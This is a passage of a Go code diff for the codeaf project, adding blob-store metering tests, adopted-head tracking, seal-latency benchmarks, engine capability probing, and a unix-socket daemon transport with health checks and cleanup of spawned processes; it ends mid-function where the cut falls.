writes nothing when there is nothing to say. +func Export(path string, lines []Line) error { + if len(lines) == 0 { + return nil + } + var out []byte + for _, l := range lines { + out = append(out, Marshal(l)...) + } + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + return err + } + return os.WriteFile(path, out, 0o600) +} diff --git a/internal/cellstats/rig_test.go b/internal/cellstats/rig_test.go new file mode 100644 index 0000000000..dffacda76c --- /dev/null +++ b/internal/cellstats/rig_test.go @@ -0,0 +1,121 @@ +package cellstats_test + +import ( + "context" + "net/http" + "net/http/httptest" + "sync" + "sync/atomic" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstats" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +const ( + identity = "alice" + cellID = "01J0000000000000000000000A" +) + +// The store wire tests use the fake sign/authenticate pair of contract §16. +func fakeSign(id string) wireauth.Sign { + return func(r *http.Request, _ []byte) { r.Header.Set("X-Test-Device", id) } +} + +func fakeAuth(r *http.Request, _ []byte) (string, string, error) { + id := r.Header.Get("X-Test-Device") + if id == "" { + return "", "", wireauth.ErrUnauthorized + } + return id, "dev_" + id, nil +} + +// metered counts what passes through it the way blobstore.Counting will +// (contract §2.6): one request each, frame length up, bytes returned down. +type metered struct { + blobstore.Store + puts, gets, has, up, down atomic.Int64 +} + +func (m *metered) PutFrame(ctx context.Context, frame []byte) (blobstore.FrameID, error) { + m.puts.Add(1) + m.up.Add(int64(len(frame))) + return m.Store.PutFrame(ctx, frame) +} + +func (m *metered) Get(ctx context.Context, rid string) ([]byte, error) { + m.gets.Add(1) + b, err := m.Store.Get(ctx, rid) + m.down.Add(int64(len(b))) + return b, err +} + +func (m *metered) GetMany(ctx context.Context, rids []string) ([]blobstore.Object, error) { + m.gets.Add(1) + got, err := m.Store.GetMany(ctx, rids) + for _, o := range got { + m.down.Add(int64(len(o.Bytes))) + } + return got, err +} + +func (m *metered) Has(ctx context.Context, rids []string) ([]bool, error) { + m.has.Add(1) + return m.Store.Has(ctx, rids) +} + +func (m *metered) Snapshot() cellstats.Counts { + return cellstats.Counts{Puts: m.puts.Load(), Gets: m.gets.Load(), Has: m.has.Load(), + BytesUp: m.up.Load(), BytesDown: m.down.Load()} +} + +// session is one device driving one cell against a store handler over HTTP. +type session struct { + home string + client *blobstore.HTTP + store *metered + engine *cellsync.FakeEngine + cell cell.Cell + batcher *cellsync.Batcher + rec *cellstats.Recorder + mu sync.Mutex +} + +func newSession(t *testing.T, title string) *session { + t.Helper() + var mems sync.Map + srv := httptest.NewServer(blobstore.Handler(fakeAuth, func(id string) (blobstore.Store, error) { + m, _ := mems.LoadOrStore(id, blobstore.NewMemory()) + return m.(blobstore.Store), nil + })) + t.Cleanup(srv.Close) + s := &session{home: t.TempDir()} + s.client = blobstore.NewHTTP(srv.URL, fakeSign(identity), nil) + s.store = &metered{Store: s.client} + s.engine = cellsync.NewFakeEngine(t.TempDir()) + s.cell = cell.Cell{ID: cellID, Root: t.TempDir()} + s.rec = cellstats.NewRecorder(s.home, cellID, s.store) + dir := directory.NewMemory(directorytest.NewFakeClock().Now).For("dev_alice") + s.batcher = &cellsync.Batcher{ + Publisher: &cellsync.Publisher{Engine: s.engine, Store: s.store, Dir: dir}, + Driving: &cellsync.Driving{Cell: s.cell}, + Info: func() cellsync.PublishInfo { return cellsync.PublishInfo{Class: "chat", Title: title, Size: 7} }, + OnFlush: s.rec.OnFlush, + } + return s +} + +// sealAndFlush seals files as one turn and publishes it. +func (s *session) sealAndFlush(t *testing.T, files map[string]string) { + t.Helper() + s.batcher.Note(cellstore.Turn{ID: s.engine.Seal(s.cell, files)}) + if err := s.batcher.Close(context.Background()); err != nil { + t.Fatal(err) + } +} diff --git a/internal/cellstore/.cell/adopted.json b/internal/cellstore/.cell/adopted.json new file mode 100644 index 0000000000..39a5092135 --- /dev/null +++ b/internal/cellstore/.cell/adopted.json @@ -0,0 +1 @@ +{"V":1,"head":"h","turns_size":0,"transcript_end":0} diff --git a/internal/cellstore/adopted.go b/internal/cellstore/adopted.go new file mode 100644 index 0000000000..1e93373e10 --- /dev/null +++ b/internal/cellstore/adopted.go @@ -0,0 +1,102 @@ +package cellstore + +import ( + "encoding/json" + "os" + "path" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// adoptedPath is where a device notes the head a materialize adopted. +var adoptedPath = path.Join(".cell", "adopted.json") + +// ADOPTED HEAD. A chat that arrives from another machine is restored to a head +// whose own turn line is not in the log it carried: the seal appends the line +// after it snapshots, so the snapshot cannot hold it. The engine adopts that +// head as the workspace's head (its ref log is the truth), and this file is the +// derived note of it that the Go side reads without spawning anything. It is +// NOT a turn record and nothing is ever appended to turns.jsonl for it: it says +// which snapshot the tree stands at, and how big turns.jsonl and the +// transcript were when it did. +// +// It counts only while turns.jsonl is still the size it had then. The next seal +// appends a line, which makes the note stale, and the log speaks for itself +// again. +type adoption struct { + V uint16 `json:"V"` + Head string `json:"head"` + TurnsSize int64 `json:"turns_size"` + TranscriptEnd int64 `json:"transcript_end"` + From string `json:"from,omitempty"` // the device the chat was sealed on, by name +} + +// noteAdopted records that c's tree now stands at head, as materialize left it. +func noteAdopted(c cell.Cell, head string) error { + return writeAdoption(c, adoption{V: schemaV, Head: head}) +} + +func writeAdoption(c cell.Cell, a adoption) error { + a.TurnsSize, a.TranscriptEnd = sizeOf(rel(c, TurnsPath)), sizeOf(rel(c, cell.TranscriptPath)) + raw, err := json.Marshal(a) + if err != nil { + return err + } + return writeFile(rel(c, adoptedPath), append(raw, '\n')) +} + +// AdoptedFrom says which device the chat that c adopted was sealed on. It +// changes nothing when c has no adopted head. +func AdoptedFrom(c cell.Cell, device string) error { + a, ok := readAdoption(c) + if !ok { + return nil + } + a.From = device + return writeAdoption(c, a) +} + +func readAdoption(c cell.Cell) (adoption, bool) { + raw, err := os.ReadFile(rel(c, adoptedPath)) + var a adoption + if err != nil || json.Unmarshal(raw, &a) != nil || a.Head == "" { + return adoption{}, false + } + return a, true +} + +// currentAdoption is the adopted head when nothing has been sealed since. +func currentAdoption(c cell.Cell) (adoption, bool) { + a, ok := readAdoption(c) + if !ok || sizeOf(rel(c, TurnsPath)) != a.TurnsSize { + return adoption{}, false + } + return a, true +} + +// sealed is the adopted head as a head: a turn with no receipt, whose parent is +// the newest line of the log the chat carried. +func (a adoption) sealed(last *Turn) Sealed { + parent := "" + if last != nil { + parent = last.ID + } + t := newTurn(a.Head, parent, time.UnixMilli(0), TurnInfo{}, "", Identity{}) + return Sealed{Turn: t, Receipt: Receipt{V: schemaV, Transcript: Range{Start: a.TranscriptEnd, End: a.TranscriptEnd}}} +} + +// Adopted says which device sealed the head c adopted, "" when it did not say, +// and false when the log's own last turn is the head. +func Adopted(c cell.Cell) (device string, ok bool) { + a, ok := currentAdoption(c) + return a.From, ok +} + +func sizeOf(p string) int64 { + info, err := os.Stat(p) + if err != nil { + return 0 + } + return info.Size() +} diff --git a/internal/cellstore/adopted_test.go b/internal/cellstore/adopted_test.go new file mode 100644 index 0000000000..cab71c9b60 --- /dev/null +++ b/internal/cellstore/adopted_test.go @@ -0,0 +1,53 @@ +package cellstore + +import ( + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +func adoptingCell(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + if err := appendTurn(c, newTurn("snap-1", "", time.UnixMilli(1), TurnInfo{}, "r1", Identity{})); err != nil { + t.Fatal(err) + } + if err := writeFile(rel(c, ReceiptsDir+"/r1.json"), []byte(`{"V":1}`)); err != nil { + t.Fatal(err) + } + return c +} + +// A head this device adopted is the head, its parent is the newest line of the +// log the chat carried, and the log shows it as one entry sealed elsewhere. +func TestAdoptedHeadIsTheHeadUntilTheNextSeal(t *testing.T) { + c := adoptingCell(t) + if err := noteAdopted(c, "snap-2"); err != nil { + t.Fatal(err) + } + if err := AdoptedFrom(c, "spark"); err != nil { + t.Fatal(err) + } + head, err := Head(c) + if err != nil || head.Turn.ID != "snap-2" || head.Turn.Parent != "snap-1" { + t.Fatalf("Head = %+v, %v; want the adopted head on top of the log", head, err) + } + entries, err := Log(c) + if err != nil || len(entries) == 0 || !entries[0].IsAdopted || entries[0].Adopted != "spark" || entries[0].Turn.ID != "snap-2" { + t.Fatalf("Log = %+v, %v; want the adopted head first, sealed on spark", entries, err) + } + if turns, _ := Turns(c); len(turns) != 1 { + t.Fatalf("a turn record was invented: %+v", turns) + } + + if err := appendTurn(c, newTurn("snap-3", "snap-2", time.UnixMilli(2), TurnInfo{}, "r3", Identity{})); err != nil { + t.Fatal(err) + } + if _, ok := Adopted(c); ok { + t.Fatal("an adopted head still counts after a seal") + } +} diff --git a/internal/cellstore/bench_test.go b/internal/cellstore/bench_test.go new file mode 100644 index 0000000000..5a85681b4e --- /dev/null +++ b/internal/cellstore/bench_test.go @@ -0,0 +1,120 @@ +package cellstore + +import ( + "context" + "fmt" + "os" + "path/filepath" + "sort" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// fillTree writes n small files spread over n/100 directories. +func fillTree(b *testing.B, root string, n int) { + b.Helper() + for i := 0; i < n; i++ { + dir := filepath.Join(root, "src", fmt.Sprintf("d%03d", i/100)) + if i%100 == 0 { + if err := os.MkdirAll(dir, 0o755); err != nil { + b.Fatal(err) + } + } + if err := os.WriteFile(filepath.Join(dir, fmt.Sprintf("f%03d.txt", i%100)), []byte(fmt.Sprintf("file %d\n", i)), 0o644); err != nil { + b.Fatal(err) + } + } +} + +// percentile of sorted durations, in milliseconds. +func percentile(d []time.Duration, p float64) float64 { + sort.Slice(d, func(i, j int) bool { return d[i] < d[j] }) + return float64(d[int(float64(len(d)-1)*p)]) / float64(time.Millisecond) +} + +// timeSeals runs n seals, each after changing one file, and reports the +// distribution. The first seal (attach + first capture) is outside the loop. +func timeSeals(b *testing.B, e Engine, c cell.Cell, listChanged bool) { + ctx := context.Background() + if _, err := e.Seal(ctx, c, TurnInfo{}); err != nil { + b.Fatal(err) + } + victim := filepath.Join(c.Root, "src", "d005", "f005.txt") + info := TurnInfo{Calls: []Executed{exec1("edit", "")}} + if listChanged { + info.Changed = []string{filepath.Join("src", "d005", "f005.txt")} + } + took := make([]time.Duration, 0, b.N) + b.ResetTimer() + for i := 0; i < b.N; i++ { + if err := os.WriteFile(victim, []byte(fmt.Sprintf("change %d\n", i)), 0o644); err != nil { + b.Fatal(err) + } + start := time.Now() + if _, err := e.Seal(ctx, c, info); err != nil { + b.Fatal(err) + } + took = append(took, time.Since(start)) + } + b.StopTimer() + b.ReportMetric(percentile(took, 0.5), "p50_ms") + b.ReportMetric(percentile(took, 0.95), "p95_ms") + b.ReportMetric(percentile(took, 1), "max_ms") +} + +// BenchmarkSealDelta10k is the task 0.7 number: p50 seal latency on a 10,000 +// file tree with one changed file, through the real engine, when the caller +// does not say what changed and the engine walks the tree (the stat cache +// spares every unchanged file an open and a read). +func BenchmarkSealDelta10k(b *testing.B) { benchSealDelta10k(b, false) } + +// BenchmarkSealDelta10kChanged is the same tree when the caller lists the one +// changed path and the engine visits only it. +func BenchmarkSealDelta10kChanged(b *testing.B) { benchSealDelta10k(b, true) } + +func benchSealDelta10k(b *testing.B, listChanged bool) { + for _, tc := range transportCases { + b.Run(tc.name, func(b *testing.B) { + previous := current + current = tc + defer func() { current = previous }() + e := realEngineB(b) + c, err := cell.CreateIn(b.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + b.Fatal(err) + } + fillTree(b, c.Root, 10000) + timeSeals(b, e, c, listChanged) + }) + } +} + +// BenchmarkSealComposeOnly is everything a seal does except the engine spawn, +// on the same tree shape: the harness's share of the latency. +func BenchmarkSealComposeOnly(b *testing.B) { + fake := &fakeEngine{} + e := Engine{Binary: "engine", DataRoot: b.TempDir(), Run: fake.run} + c, err := cell.CreateIn(b.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + b.Fatal(err) + } + fillTree(b, c.Root, 10000) + timeSeals(b, e, c, false) +} + +// BenchmarkSpawnBaseline is the cost of starting the engine and doing nothing. +func BenchmarkSpawnBaseline(b *testing.B) { + e := realEngineB(b) + took := make([]time.Duration, 0, b.N) + for i := 0; i < b.N; i++ { + start := time.Now() + if _, err := spawn(context.Background(), b.TempDir(), nil, e.Binary, "--version"); err != nil { + b.Fatal(err) + } + took = append(took, time.Since(start)) + } + b.ReportMetric(percentile(took, 0.5), "p50_ms") + b.ReportMetric(percentile(took, 0.95), "p95_ms") +} diff --git a/internal/cellstore/binary.go b/internal/cellstore/binary.go new file mode 100644 index 0000000000..025b1b049e --- /dev/null +++ b/internal/cellstore/binary.go @@ -0,0 +1,60 @@ +package cellstore + +import ( + "bytes" + "context" + "fmt" + "os/exec" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// sealFlag is the engine flag every sealed workspace depends on: without it +// the cell's directory cannot be composed in and the engine would leave its +// own files in the user's folder. +const sealFlag = "--cell-dir" + +const probeTimeout = 10 * time.Second + +// probed remembers the answer per engine path, so the probe costs one spawn +// per process and not one per seal. +var probed sync.Map // path -> error (nil when capable) + +// sealingEngine is the engine that seals: the configured or embedded one and +// never a PATH copy, which may be a different, older program with the same +// name. It is asked what it can do rather than what version it says it is. +func sealingEngine() (string, error) { + bin, err := furrow.ResolveOwned() + if err != nil { + return "", fmt.Errorf("seal: no engine to seal with (set %s, or use a codeaf build that carries one): %w", furrow.BinaryEnvVar, err) + } + if known, ok := probed.Load(bin); ok { + return bin, asError(known) + } + verdict := probe(bin) + probed.Store(bin, verdict) + return bin, verdict +} + +func asError(v any) error { + err, _ := v.(error) + return err +} + +// probe asks the engine's own help whether it knows [sealFlag]. +func probe(bin string) error { + ctx, cancel := context.WithTimeout(context.Background(), probeTimeout) + defer cancel() + var out bytes.Buffer + cmd := exec.CommandContext(ctx, bin, "hook", "turn-end", "--help") //codeaf:plumbing capability probe of the sealing engine + cmd.Stdout = &out + if err := cmd.Run(); err != nil { + return fmt.Errorf("seal: engine %s cannot be probed: %w", bin, err) + } + if !bytes.Contains(out.Bytes(), []byte(sealFlag)) { + return fmt.Errorf("seal: engine %s does not support %s; point %s at a current engine", bin, sealFlag, furrow.BinaryEnvVar) + } + return nil +} diff --git a/internal/cellstore/binary_test.go b/internal/cellstore/binary_test.go new file mode 100644 index 0000000000..e7e8e18886 --- /dev/null +++ b/internal/cellstore/binary_test.go @@ -0,0 +1,60 @@ +package cellstore + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// fakeEngineBinary writes a script that answers every call with help text. +func fakeEngineBinary(t *testing.T, help string) string { + t.Helper() + path := filepath.Join(t.TempDir(), "furrow") + script := "#!/bin/sh\ncat <<'EOF'\n" + help + "\nEOF\n" + if err := os.WriteFile(path, []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return path +} + +func TestProbeAcceptsAnEngineThatKnowsTheSealFlag(t *testing.T) { + if err := probe(fakeEngineBinary(t, "Usage: hook turn-end [--cell-dir ]")); err != nil { + t.Fatal(err) + } +} + +func TestProbeNamesAnEngineWithoutTheSealFlag(t *testing.T) { + err := probe(fakeEngineBinary(t, "Usage: hook turn-end")) + if err == nil || !strings.Contains(err.Error(), sealFlag) { + t.Fatalf("want an error naming %s, got %v", sealFlag, err) + } +} + +func TestSealingNeverFallsBackToPath(t *testing.T) { + dir := filepath.Dir(fakeEngineBinary(t, "Usage: --cell-dir")) + t.Setenv("PATH", dir) + t.Setenv(furrow.BinaryEnvVar, "") + bin, err := sealingEngine() + if err == nil && filepath.Dir(bin) == dir { + t.Fatalf("sealed with the PATH engine %s", bin) + } +} + +func TestSealingUsesAConfiguredEngine(t *testing.T) { + bin := fakeEngineBinary(t, "Usage: --cell-dir") + t.Setenv(furrow.BinaryEnvVar, bin) + got, err := sealingEngine() + if err != nil || got != bin { + t.Fatalf("got %q, %v; want %q", got, err, bin) + } +} + +func TestSealingRefusesAConfiguredEngineThatCannotSeal(t *testing.T) { + t.Setenv(furrow.BinaryEnvVar, fakeEngineBinary(t, "Usage: hook turn-end")) + if _, err := sealingEngine(); err == nil { + t.Fatal("a stale engine was accepted") + } +} diff --git a/internal/cellstore/daemon.go b/internal/cellstore/daemon.go new file mode 100644 index 0000000000..fce687d07d --- /dev/null +++ b/internal/cellstore/daemon.go @@ -0,0 +1,160 @@ +package cellstore + +import ( + "bufio" + "context" + "encoding/json" + "fmt" + "net" + "path/filepath" + "sync/atomic" + "time" +) + +// wireVersion is the daemon protocol's V; every message carries it (L11). +const wireVersion = 1 + +// Daemon is the Transport that talks to the engine's long-lived process over +// its unix socket, starting it on first use. One dial per verb: the daemon, +// not the connection, is what stays warm. +type Daemon struct { + Socket string + // Binary is the engine to start the daemon from; empty means the + // configured or embedded one. + Binary string +} + +var _ Transport = Daemon{} + +type wireRequest struct { + V int `json:"V"` + ID uint64 `json:"id"` + Verb string `json:"verb"` + Target *wireTarget `json:"target,omitempty"` + Args json.RawMessage `json:"args"` +} + +type wireTarget struct { + DataDir string `json:"data_dir"` + Tree string `json:"tree"` + CellDir string `json:"cell_dir,omitempty"` +} + +type wireResponse struct { + ID uint64 `json:"id"` + Ok json.RawMessage `json:"ok"` + Err string `json:"err"` +} + +var nextID atomic.Uint64 + +// Do implements Transport. Any failure before the daemon has answered is +// ErrUnavailable; an answer that is an error is the engine's own. +func (d Daemon) Do(ctx context.Context, t Target, op Op) ([]byte, error) { + conn, err := d.connect(ctx) + if err != nil { + return nil, unavailable(err) + } + defer conn.Close() + // The watch on ctx starts before the health check, so a cancelled take + // frees a check that is waiting on a daemon that never answers. + stop := context.AfterFunc(ctx, func() { conn.Close() }) + defer stop() + if err := d.verify(conn); err != nil { + return nil, unavailable(err) + } + response, err := exchange(conn, newRequest(t, op)) + if err != nil { + return nil, unavailable(err) + } + if response.Err != "" { + return nil, fmt.Errorf("engine %s: %s", op.Verb(), response.Err) + } + return response.Ok, nil +} + +// verify is the once-per-dial check that the daemon behind the socket is this +// engine and not a stale one from before an upgrade: any other identity is +// treated as no daemon at all, so the caller falls back to spawning. It only +// checks when the engine's name is known (d.Binary set). +func (d Daemon) verify(conn net.Conn) error { + if d.Binary == "" { + return nil + } + _ = conn.SetDeadline(time.Now().Add(healthWait)) + response, err := exchange(conn, wireRequest{V: wireVersion, ID: nextID.Add(1), Verb: "health"}) + _ = conn.SetDeadline(time.Time{}) // the verb itself may take as long as it needs + if err != nil { + return err + } + var health struct{ Engine string } + _ = json.Unmarshal(response.Ok, &health) + if want := filepath.Base(d.Binary); health.Engine != want { + return fmt.Errorf("daemon is engine %q, want %q", health.Engine, want) + } + return nil +} + +// healthWait is how long a daemon has to answer the health check. The check is +// one line each way on a local socket, so a daemon that takes longer is wedged; +// it is then treated as no daemon and the verb falls back to a spawned engine, +// where without this bound a caller with no deadline of its own waited for ever. +var healthWait = 5 * time.Second + +// Stop asks the daemon to finish what it is doing and exit. A daemon that is +// not running is already stopped. +func (d Daemon) Stop(ctx context.Context) error { + conn, err := dial(ctx, d.Socket) + if err != nil { + return nil + } + defer conn.Close() + _, err = exchange(conn, wireRequest{V: wireVersion, ID: nextID.Add(1), Verb: "shutdown"}) + return err +} + +func unavailable(err error) error { return fmt.Errorf("%w: %v", ErrUnavailable, err) } + +func newRequest(t Target, op Op) wireRequest { + args, _ := json.Marshal(op) // an Op is plain data + return wireRequest{ + V: wireVersion, ID: nextID.Add(1), Verb: op.Verb(), Args: args, + Target: &wireTarget{DataDir: t.DataDir, Tree: t.Tree, CellDir: t.CellDir}, + } +} + +// exchange sends one request and reads its answer. +func exchange(conn net.Conn, req wireRequest) (wireResponse, error) { + line, err := json.Marshal(req) + if err != nil { + return wireResponse{}, err + } + if _, err := conn.Write(append(line, '\n')); err != nil { + return wireResponse{}, err + } + reply, err := bufio.NewReader(conn).ReadBytes('\n') + if err != nil { + return wireResponse{}, err + } + var response wireResponse + if err := json.Unmarshal(reply, &response); err != nil { + return wireResponse{}, err + } + if response.ID != req.ID { + return wireResponse{}, fmt.Errorf("answer %d is not for request %d", response.ID, req.ID) + } + return response, nil +} + +// connect dials the daemon, starting it when nothing listens. +func (d Daemon) connect(ctx context.Context) (net.Conn, error) { + if conn, err := dial(ctx, d.Socket); err == nil { + return conn, nil + } + return startAndDial(ctx, d) +} + +func dial(ctx context.Context, socket string) (net.Conn, error) { + var dialer net.Dialer + return dialer.DialContext(ctx, "unix", socket) +} diff --git a/internal/cellstore/daemon_test.go b/internal/cellstore/daemon_test.go new file mode 100644 index 0000000000..9878647b10 --- /dev/null +++ b/internal/cellstore/daemon_test.go @@ -0,0 +1,187 @@ +package cellstore + +import ( + "bufio" + "context" + "encoding/json" + "errors" + "net" + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/furrow" +) + +type fixedTransport struct { + out string + err error + calls int +} + +func (f *fixedTransport) Do(context.Context, Target, Op) ([]byte, error) { + f.calls++ + return []byte(f.out), f.err +} + +// Only an absent engine is answered by the next transport; an engine that ran +// and refused is an answer, and running the verb again elsewhere could do it twice. +func TestFallbackAnswersOnlyForAbsence(t *testing.T) { + refusal := errors.New("engine refused") + cases := map[string]struct { + primary error + calls int + want string + wantErr error + }{ + "answered": {nil, 0, "primary", nil}, + "unavailable": {ErrUnavailable, 1, "secondary", nil}, + "refused": {refusal, 0, "primary", refusal}, + } + for name, tc := range cases { + primary := &fixedTransport{out: "primary", err: tc.primary} + secondary := &fixedTransport{out: "secondary"} + out, err := Fallback{primary, secondary}.Do(context.Background(), Target{}, snapOp{}) + if string(out) != tc.want || !errors.Is(err, tc.wantErr) || secondary.calls != tc.calls { + t.Errorf("%s: got %q, %v with %d fallback calls", name, out, err, secondary.calls) + } + } +} + +func TestTransportForPicksTheDaemonUnlessToldOtherwise(t *testing.T) { + if _, ok := transportFor("", nil).(Fallback); !ok { + t.Error("the default is the daemon with the spawn behind it") + } + if _, ok := transportFor("", func(context.Context, string, []string, ...string) ([]byte, error) { return nil, nil }).(Spawn); !ok { + t.Error("a caller's own Runner must see every spawn") + } + t.Setenv(daemonEnv, "0") + if _, ok := transportFor("", nil).(Spawn); !ok { + t.Errorf("%s=0 must turn the daemon off", daemonEnv) + } +} + +func TestDaemonStartsOnDemandAndStops(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + d := daemonFor(t, bin).(Daemon) + if _, err := os.Stat(d.Socket); err == nil { + t.Fatal("the daemon is up before anyone asked") + } + c := newCell(t) + e := Engine{Binary: bin, DataRoot: t.TempDir(), Transport: d} + for i := 0; i < 2; i++ { + if _, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("bash", "")}}); err != nil { + t.Fatal(err) + } + } + if _, err := os.Stat(d.Socket); err != nil { + t.Fatalf("no daemon after two seals: %v", err) + } + if err := d.Stop(context.Background()); err != nil { + t.Fatal(err) + } +} + +// A program that is not an engine cannot become a daemon: the daemon transport +// says it is unavailable, promptly, and the fallback carries on. +func TestDaemonOfANonEngineIsUnavailable(t *testing.T) { + false_, err := filepath.Abs("/bin/false") + if err != nil { + t.Fatal(err) + } + d := Daemon{Socket: filepath.Join(t.TempDir(), "e.sock"), Binary: false_} + _, err = d.Do(context.Background(), Target{}, snapOp{}) + if !errors.Is(err, ErrUnavailable) { + t.Fatalf("err = %v, want ErrUnavailable", err) + } +} + +// Two engine builds never share a daemon: the socket is named after the binary. +func TestSocketIsKeyedToTheEngineBinary(t *testing.T) { + a := socketFor("/x/furrow-0.1.0-aaaaaaaaaaaa") + b := socketFor("/x/furrow-0.1.0-bbbbbbbbbbbb") + if a == b || filepath.Base(a) != "engine-0.1.0-aaaaaaaaaaaa.sock" { + t.Errorf("sockets %q and %q must differ by build", a, b) + } +} + +// serveHealth answers every request on socket as a daemon of the named engine. +func serveHealth(t *testing.T, socket, engine string) { + ln, err := net.Listen("unix", socket) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { ln.Close() }) + go func() { + for { + conn, err := ln.Accept() + if err != nil { + return + } + var req wireRequest + line, _ := bufio.NewReader(conn).ReadBytes('\n') + _ = json.Unmarshal(line, &req) + ok, _ := json.Marshal(map[string]string{"engine": engine}) + reply, _ := json.Marshal(wireResponse{ID: req.ID, Ok: ok}) + conn.Write(append(reply, '\n')) + conn.Close() + } + }() +} + +// A daemon of another engine build is not used: the verb goes to the spawn. +func TestDaemonOfAnotherEngineIsNotUsed(t *testing.T) { + socket := filepath.Join(t.TempDir(), "e.sock") + serveHealth(t, socket, "furrow-0.0.9-oldoldoldold") + d := Daemon{Socket: socket, Binary: "/x/furrow-0.1.0-newnewnewnew"} + if _, err := d.Do(context.Background(), Target{}, snapOp{}); !errors.Is(err, ErrUnavailable) { + t.Fatalf("err = %v, want ErrUnavailable", err) + } + spawned := &fixedTransport{out: "spawned"} + out, err := Fallback{d, spawned}.Do(context.Background(), Target{}, snapOp{}) + if err != nil || string(out) != "spawned" || spawned.calls != 1 { + t.Fatalf("got %q, %v with %d spawns", out, err, spawned.calls) + } +} + +// A daemon that accepts the connection and never answers the health check is +// wedged. The verb must give up on it as unavailable within the health bound, +// so the spawned engine behind it gets the work, instead of a caller without a +// deadline of its own (the home screen's takeover) waiting for ever. +func TestWedgedDaemonIsUnavailableWithinTheHealthBound(t *testing.T) { + old := healthWait + healthWait = 100 * time.Millisecond + t.Cleanup(func() { healthWait = old }) + sock := filepath.Join(t.TempDir(), "e.sock") + ln, err := net.Listen("unix", sock) + if err != nil { + t.Fatal(err) + } + defer ln.Close() + go func() { // accepts, reads nothing, answers nothing + for { + conn, err := ln.Accept() + if err != nil { + return + } + defer conn.Close() + } + }() + done := make(chan error, 1) + go func() { + _, err := Daemon{Socket: sock, Binary: "/x/furrow"}.Do(context.Background(), Target{}, snapOp{}) + done <- err + }() + select { + case err := <-done: + if !errors.Is(err, ErrUnavailable) { + t.Fatalf("err = %v, want ErrUnavailable", err) + } + case <-time.After(5 * time.Second): + t.Fatal("a daemon that never answers the health check held the verb for 5 s") + } +} diff --git a/internal/cellstore/daemonhygiene.go b/internal/cellstore/daemonhygiene.go new file mode 100644 index 0000000000..8be8e4e0ee --- /dev/null +++ b/internal/cellstore/daemonhygiene.go @@ -0,0 +1,77 @@ +package cellstore + +import ( + "os" + "strconv" + "sync" + "syscall" + "time" +) + +// sealInheritedDescriptors marks every descriptor above stderr close-on-exec, +// so the daemon started next inherits none of them. Go opens its own files +// close-on-exec, but a descriptor this process was handed by its parent (a +// lock held by a wrapper script, a pipe from a harness) arrives without the +// flag, and os/exec passes it on to every child. A daemon that outlives its +// caller would then hold that lock for as long as it lives. +func sealInheritedDescriptors() { + for _, dir := range []string{"/proc/self/fd", "/dev/fd"} { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, entry := range entries { + if fd, err := strconv.Atoi(entry.Name()); err == nil && fd > 2 { + syscall.CloseOnExec(fd) + } + } + return + } +} + +// spawnedDaemon is a daemon this process started and has not seen exit. +type spawnedDaemon struct { + process *os.Process + exited <-chan struct{} +} + +var ( + spawnedMu sync.Mutex + spawned []spawnedDaemon +) + +// remember records a daemon this process started, for [StopSpawned]. +func remember(process *os.Process, exited <-chan struct{}) { + spawnedMu.Lock() + defer spawnedMu.Unlock() + spawned = append(spawned, spawnedDaemon{process: process, exited: exited}) +} + +// stopGrace is how long a daemon gets to exit after SIGTERM before SIGKILL. +const stopGrace = 3 * time.Second + +// StopSpawned stops every daemon this process started and waits for each to +// exit: SIGTERM first, SIGKILL when it has not gone within [stopGrace]. The +// product never calls it, because its daemon is meant to outlive the process +// that started it; a test binary calls it at the end of its run, so that no +// engine it caused to start is left behind. +func StopSpawned() { + spawnedMu.Lock() + all := spawned + spawned = nil + spawnedMu.Unlock() + for _, d := range all { + select { + case <-d.exited: + continue + default: + } + _ = d.process.Signal(syscall.SIGTERM) + select { + case <-d.exited: + case <-time.After(stopGrace): + _ = d.process.Kill() + <-d.exited + } + } +} diff --git a/internal/cellstore/daemonhygiene_test.go b/internal/cellstore/daemonhygiene_test.go new file mode 100644 index 0000000000..c1d043f91e --- /dev/null +++ b/internal/cellstore/daemonhygiene_test.go @@ -0,0 +1,108 @@ +package cellstore + +import ( + "bytes" + "os" + "path/filepath" + "strconv" + "syscall" + "testing" + "time" +) + +// idlingEngine writes a program that idles like a daemon and exits on SIGTERM, +// and answers its path. +func idlingEngine(t *testing.T, dir string) string { + t.Helper() + path := filepath.Join(dir, "furrow-0.0.0-fake") + script := "#!/bin/sh\ntrap 'kill $!' TERM\nsleep 60 &\nwait\n" + if err := os.WriteFile(path, []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return path +} + +// aliveUnder lists the live processes whose command line mentions dir. +func aliveUnder(dir string) []int { + var pids []int + entries, _ := os.ReadDir("/proc") + for _, entry := range entries { + raw, err := os.ReadFile(filepath.Join("/proc", entry.Name(), "cmdline")) + if err != nil || !bytes.Contains(raw, []byte(dir)) { + continue + } + if stat, _ := os.ReadFile(filepath.Join("/proc", entry.Name(), "stat")); bytes.Contains(stat, []byte(") Z ")) { + continue // a zombie is already dead, only unreaped + } + if pid, err := parsePID(entry.Name()); err == nil && pid != os.Getpid() { + pids = append(pids, pid) + } + } + return pids +} + +func parsePID(name string) (int, error) { + pid := 0 + for _, r := range name { + if r < '0' || r > '9' { + return 